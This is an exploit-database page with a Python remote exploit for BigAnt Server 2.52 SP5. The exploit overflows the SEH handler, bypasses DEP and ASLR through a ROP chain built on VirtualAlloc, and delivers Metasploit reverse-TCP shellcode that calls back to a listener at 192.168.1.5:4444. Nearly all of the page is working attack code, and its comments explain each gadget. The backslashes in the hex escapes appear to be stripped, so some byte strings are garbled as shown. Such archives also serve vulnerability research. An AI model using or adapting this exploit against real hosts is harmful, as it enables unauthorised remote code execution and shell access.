[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : BigAnt Server 2.52 SP5 SEH Stack Overflow ROP-based exploit (ASLR + DEP bypass)
# Published : 2012-11-04
# Author :
# Previous Title : Netwin SurgeFTP Remote Command Execution
# Next Title : InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow


# Exploit Title: BigAnt Server 2.52 SP5 SEH Stack Overflow ROP-based exploit (ASLR + DEP bypass)
# Date: 03/11/2012
# Exploit Author: Lorenzo Cantoni
# Vendor Homepage: http://www.bigantsoft.com/
# Version: BigAnt Console 2.52 SP5
# Tested on: Windows 7 SP0 x86 Italian - expsrv.dll (6.0.9589)
# Info: Vulnerability discovered by Lincoln: http://www.securityfocus.com/bid/37520/info


import socket
import sys

################
#Attack plan
#1) Overwrite SEH handler with a ROP Gadget that will move the stack pointer inside our buffer and continue the execution from there (ADD ESP,something + RETN should be ok)
#2) Execute the ROP Chain for a VirtualAlloc() and PUSHAD
#3) Run the shellcode
#4) Have fun :)
################


# Memory Layout

################
#
# Padding 
#
################
#
# ROP-NOP Sled
#
################
#
# ROP Chain
#
################
#
# Padding
#
################
#
# NOP SLED
#
################
#
# Shellcode
#
################
#
# Padding
#
################
#
# SEH Overwite (Stack Pivot)
#
################
#
# Padding (may be useful for other shellcode?)
#
################



#From the original exploit, SEH will be overwritten after 966 bytes

target_address=sys.argv[1]
target_port=6660

#./msfpayload windows/shell/reverse_tcp EXITFUNC=thread LHOST=192.168.1.5 LPORT=4444 R | ./msfencode -a x86 -b "x00x0ax0dx20x25" -t c
# size 317
shellcode = ("xb8xc0xd7xb6x97xdbxd2xd9x74x24xf4x5dx29xc9xb1"
"x49x31x45x14x03x45x14x83xc5x04x22x22x4ax7fx2b"
"xcdxb3x80x4bx47x56xb1x59x33x12xe0x6dx37x76x09"
"x06x15x63x9ax6axb2x84x2bxc0xe4xabxacxe5x28x67"
"x6ex64xd5x7axa3x46xe4xb4xb6x87x21xa8x39xd5xfa"
"xa6xe8xc9x8fxfbx30xe8x5fx70x08x92xdax47xfdx28"
"xe4x97xaex27xaex0fxc4x6fx0fx31x09x6cx73x78x26"
"x46x07x7bxeex97xe8x4dxcex7bxd7x61xc3x82x1fx45"
"x3cxf1x6bxb5xc1x01xa8xc7x1dx84x2dx6fxd5x3ex96"
"x91x3axd8x5dx9dxf7xafx3ax82x06x7cx31xbex83x83"
"x96x36xd7xa7x32x12x83xc6x63xfex62xf7x74xa6xdb"
"x5dxfex45x0fxe7x5dx02xfcxd5x5dxd2x6ax6ex2dxe0"
"x35xc4xb9x48xbdxc2x3exaex94xb2xd1x51x17xc2xf8"
"x95x43x92x92x3cxecx79x63xc0x39x2dx33x6ex92x8d"
"xe3xcex42x65xeexc0xbdx95x11x0bxd6x3fxebxdcx19"
"x17xf2x19xf2x65xf5x30x5exe0x13x58x4exa4x8cxf5"
"xf7xedx47x67xf7x38x22xa7x73xcexd2x66x74xbbxc0"
"x1fx74xf6xbbxb6x8bx2dxd1x36x1exc9x70x60xb6xd3"
"xa5x46x19x2cx80xdcx90xb8x6bx8bxdcx2cx6cx4bx8b"
"x26x6cx23x6bx12x3fx56x74x8fx53xcbxe1x2fx02xbf"
"xa2x47xa8xe6x85xc8x53xcdx17x35x82x28x92x4fxa0"
"x58x5e")


#  ROP Chain target
#
#            EAX = NOP (0x90909090)
#            ECX = flProtect (0x40)
#            EDX = flAllocationType (0x1000)
#            EBX = dwSize (0x1)
#            ESP = lpAddress (automatic)
#            EBP = ReturnTo (ptr to jmp esp)
#            ESI = ptr to VirtualAlloc()
#            EDI = ROP NOP (RETN)

# we will ROP inside VBAJET32.DLL which is proprietary and an OS DLL, C:Windowssystem32expsrv.dll


# ADJUST EDX AND EDI
ropchain = ''
for i in range(0,16): ropchain = ropchain + 'xc5x86x9ex0f' #ADD EAX 100 - RETN  # REPEAT 16 TIMES
ropchain = ropchain + 'x3cxe4x9ex0f' # The next gadget point to the following
#0F9EE43C   8BD0             MOV EDX,EAX
#0F9EE43E   8D41 08          LEA EAX,DWORD PTR DS:[ECX+8]
#0F9EE441   C1E0 04          SHL EAX,4
#0F9EE444   2BC2             SUB EAX,EDX
#0F9EE446   5F               POP EDI
#0F9EE447   5E               POP ESI
#0F9EE448   5D               POP EBP
#0F9EE449   5B               POP EBX
#0F9EE44A   C3               RETN

# According to my  registers values, at pivoting time ECX+8 should point to a valid memory location so we go on

ropchain = ropchain + 'x9fx18x9ax0f' # RETN POPPED IN EDI (ROP-NOP)
ropchain = ropchain + 'x41x41x41x41' # compensation for POP ESI 
ropchain = ropchain + 'x41x41x41x41' # compensation for POP EBP
ropchain = ropchain + 'xffxffxffxff' # will be popped in EBX (and incremented later)

# ADJUST ESI. We load the pointer for VirtualAlloc() and then resolve the address
ropchain = ropchain + 'x3cx7cx9cx0f' # POP EAX RETN
ropchain = ropchain + 'xb4x10x9ax0f' # POINTER TO *VirtualAlloc() # !mona ropfunc -m VBAJET32.DLL -cpb 'x00x0ax0dx20x25'
ropchain = ropchain + 'x09x2bx9ax0f' # we execute a POP ESI + RETN and we load a ROP NOP inside, as we have a CALL ESI later.
ropchain = ropchain + 'x9fx18x9ax0f' # ROP NOP
ropchain = ropchain + 'x9cx47x9ax0f' # resolves the pointer: MOV EAX, DWORD PTR DS:[EAX] -  RETN
ropchain = ropchain + 'x06x2bx9ax0f' # PUSH EAX - CALL ESI - POP ESI - RETN # save the address of VirtualAlloc, call a ROP NOP we have loaded previously, pop the address of VirtualAlloc in ESI, return.


# ADJUST EBX
for i in range(0,2): ropchain = ropchain + 'x08xa7x9cx0f' # INC EBX - RETN # Repeat 2 times, we'll have ebx=1

# ADJUST ECX
ropchain = ropchain + 'x0cx1fx9ax0f' # pop ecx retn
ropchain = ropchain + 'xffxffxffxff' # popped value

for i in range(0,65): ropchain = ropchain + 'xadx34x9cx0f'  #INC ECX - ADD AL,24 - RETN # repeat for 66 times, we'll have ecx=0x40. Dirty way, but we have a lot of space for our ropchain+shellcode

# ADJUST EBP
#Need a gadget which redirect the execution to the stack. 
ropchain = ropchain + 'xafx8bx9cx0f' # POP EBP retn
ropchain = ropchain + 'x62x21x9ex0f' # Gadget to the following instructions: PUSH ESP - AND AL,1C - RETN

# ADJUST EAX
ropchain = ropchain +'x3cx7cx9cx0f' # POP EAX - RETN
ropchain = ropchain +'x90x90x90x90' # value popped in eax

# PUSHAD Gadget 
ropchain = ropchain + 'xc2x30x9fx0f' # PUSHAD - RETN

######### END OF ROP CHAIN

nopsled = "x90" * 12 # A little bit of nop sled before our shellcode

ropchain = ropchain + nopsled
######### WE HAVE ROP CHAIN + NOPSLED 

payload = 'x41' * 198 #ropchain starts after 210 bytes of padding, due add esp,514
ropnopsled = ''
for i in range (0,5): ropnopsled = ropnopsled + 'x9fx18x9ax0f' # we place some ROP NOP around the 210th byte
payload = payload + ropnopsled
######## END OF PADDING + ROP NOP SLED

payload = payload + ropchain
payload = payload + shellcode
payload = payload + 'x41' * (966 - 198 - len(ropnopsled + ropchain+shellcode))
payload = payload + 'x4dx26x9ax0f' #stack pivoting (overwrite SEH) OF9A264d vbajet32.dll #     ADD ESP,514 - RETN
####### STACK PIVOTED AND SHELLCODE PLACED

padding = 'x90' * (2504 - len(payload)) #Will fill the area after the SEH ovewrite. It might be possible to craft a second staged payload which executes after a jmp short placed in the first overwritten area

buffer = "USV " + payload + padding + "rnrn"

sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()